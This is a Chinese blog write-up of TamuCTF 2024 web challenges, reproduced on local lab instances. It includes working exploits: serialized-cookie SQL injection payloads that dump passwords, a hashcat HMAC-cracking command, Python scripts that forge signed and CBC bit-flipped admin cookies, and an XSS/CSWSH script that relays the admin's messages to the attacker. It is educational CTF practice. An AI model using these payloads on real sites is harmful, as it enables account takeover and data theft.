TamuCTF 2024 复现

本来先复现红明谷的,但是看到有人给我传了个这个就先看看这个。国外的比赛。

前言

官方下载链接:

https://github.com/tamuctf/tamuctf-2024
https://tamuctf.com

注意这个提供的复现环境是使用make搭建的,win上安装make环境之后分别使用:

1
2
make build
make run

就可以构建docker环境,配置环境变量。

Cereal

Just made a new website. It’s a work in progress, please don’t judge…

考点: SQL注入
构建之后直接开在了本地8000端口上。
image.png
上来给了一个guest用户的测试账号密码,可以登录进去看看。
能看到有一些参数。
登录验证的是authenticate.php文件。我们能在profile页面上看到大概需要的内容。
能注意profile.php里有base64解析并反序列化Cookie的操作。
image.png
然后就是看有没有过滤验证等函数:
image.png
refresh看起来可以注入,测试:
image.png
联合查询。
根据内容构建序列化poc,别直接编码,注意有protected字段

1
2
3
4
5
6
7
8
9
10
<?php
class User
{
public $username = 'guest';
public $id = "1' union select 1,2,3,4 -- -";
protected $password = "5f4dcc3b5aa765d61d8327deb882cf99";
protected $profile;
}

echo base64_encode(serialize(new User()));

验证

1
2
O:4:"User":4:{s:8:"username";s:5:"guest";s:2:"id";s:25:"1'union select 1,2,3,4-- ";s:11:"\x00*\x00password";s:32:"5f4dcc3b5aa765d61d8327deb882cf99";s:10:"\x00*\x00profile";N;}
Tzo0OiJVc2VyIjo0OntzOjg6InVzZXJuYW1lIjtzOjU6Imd1ZXN0IjtzOjI6ImlkIjtzOjI4OiIxJyB1bmlvbiBzZWxlY3QgMSwyLDMsNCAtLSAtIjtzOjExOiIAKgBwYXNzd29yZCI7czozMjoiNWY0ZGNjM2I1YWE3NjVkNjFkODMyN2RlYjg4MmNmOTkiO3M6MTA6IgAqAHByb2ZpbGUiO047fQ==

image.png
查询四个字段显示三个字段。
然后就可以提取信息了。

1
select group_concat(password) from users

poc:

1
2
3
4
5
6
7
8
9
10
11
<?php
class User
{
public $username = 'guest';
public $id = "1' union select (select group_concat(password) from users),2,3,4 -- -";
protected $password = "5f4dcc3b5aa765d61d8327deb882cf99";
protected $profile;
}
// Tzo0OiJVc2VyIjo0OntzOjg6InVzZXJuYW1lIjtzOjU6Imd1ZXN0IjtzOjI6ImlkIjtzOjY5OiIxJyB1bmlvbiBzZWxlY3QgKHNlbGVjdCBncm91cF9jb25jYXQocGFzc3dvcmQpIGZyb20gdXNlcnMpLDIsMyw0IC0tIC0iO3M6MTE6IgAqAHBhc3N3b3JkIjtzOjMyOiI1ZjRkY2MzYjVhYTc2NWQ2MWQ4MzI3ZGViODgyY2Y5OSI7czoxMDoiACoAcHJvZmlsZSI7Tjt9
echo base64_encode(serialize(new User()));

image.png
admin的密码就是flag。

另一种解法

image.png
注意到WP中使用了except这个字段。
方法是将id设置为0,并利用SQL注入首先使用except关键字排除以前的数据库搜索,然后使用union关键字创建我们自己的查询以打印管理员用户密码。
这个之前没有用过,学到了。测试之后发现是这种结果:
image.png
有点蒙。也就是说,这里将except的内容排除传出去,然后再显示第三个内容。
他用的是

1
0' except select username,email,favorite_cereal,creation_date from users where `id` = '0' union select username,email,password,creation_date from users where `id`='0'-- -

image.png
测试之后注入到了第三个位置。

Cracked

这个环境搭不起来,起环境总报错。
看了眼wp使用爆破来寻找HMAC的sign:

1
hashcat -m 150 -a 0 hash.txt rockyou.txt

然后直接登录就有flag。

1
2
3
4
5
6
7
8
9
10
11
12
import requests
import hmac
from base64 import b64encode
from hashlib import sha1

KEY = "6lmao9"
session = '{"admin": 1, "username": "guest"}'
cookies = {
"sig": b64encode(hmac.new(KEY.encode(), session.encode(), sha1).digest()).decode(),
"session": b64encode(session.encode()).decode()
}
print(requests.get("http://localhost:8000", cookies=cookies).text)

flipped

这个环境也没起来,逆天这个py3导包出问题。
这俩纯纯密码题,太逆天了。
会受到位反转攻击:
使用 AES-128-CBC 对会话 cookie 进行加密/解密(更多信息请参阅 https://crypto.stackexchange.com/questions/66085/bit-flipping-attack-on-cbc-mode)。
这后面是英译中。
服务器不会验证会话 cookie 的完整性。
如果{“admin”:0, “username”:”guest”}中的 admin 字段非零,则返回该标志,因此目标是更改该字段。初始会话 Cookie 在偏移 10 处的 ASCII 码为 0 (0x30),因此我们只需翻转密文字节中的最小有效位,使相应明文字节的 ASCII 码为 1 (0x31)。

1
2
3
4
5
6
7
8
9
10
11
import requests
from base64 import b64decode, b64encode

url = "http://localhost:8000/"
default_session = '{"admin": 0, "username": "guest"}'
res = requests.get(url)
c = bytearray(b64decode(res.cookies["session"]))
c[default_session.index("0")] ^= 1
evil = b64encode(c).decode()
res = requests.get(url, cookies={"session": evil})
print(res.text)

forgotten-password

We discovered that this blog owner’s email is b8500763@gmail.com through reconnaissance. We do not have access to the password of the account, how could we login regardless?

ruby写的,看不懂。
这个环境搭建太恶心了,又慢又卡。
前端绕过使用bp抓包,然后覆盖邮箱。

Imposter

I’m not a big fan of Discord’s new ToS changes, so I’m making my own crappy version of Discord that isn’t overly invasive.

考点xss。javascript脚本编写。
image.png
注册登录进去:
能看出来模仿的discord。。。
image.png
admin#0000吃到xss中的CSWSH(跨站WebSocket劫持)

关于那WebSocket劫持的二三事 - 先知社区

payload

1
<script>s=io();s.on('connect', function() {s.emit('join')});s.on('message', function(data){s.emit('json',{'to':'natro92#6680','message':data.content,'time':'00:00:00 AM'}); s.close()});setTimeout(function() {s.emit('flag')},500)</script>

建立websocket来获取flag
但是不知道为什么这里我用他的payload并不能出flag。只显示system…
而且websocket抓不到包。也看不到真给我发什么了😵
image.png

Last

蠢了,中午看官网打不开以为没靶机了,晚上做完了一看又有了😵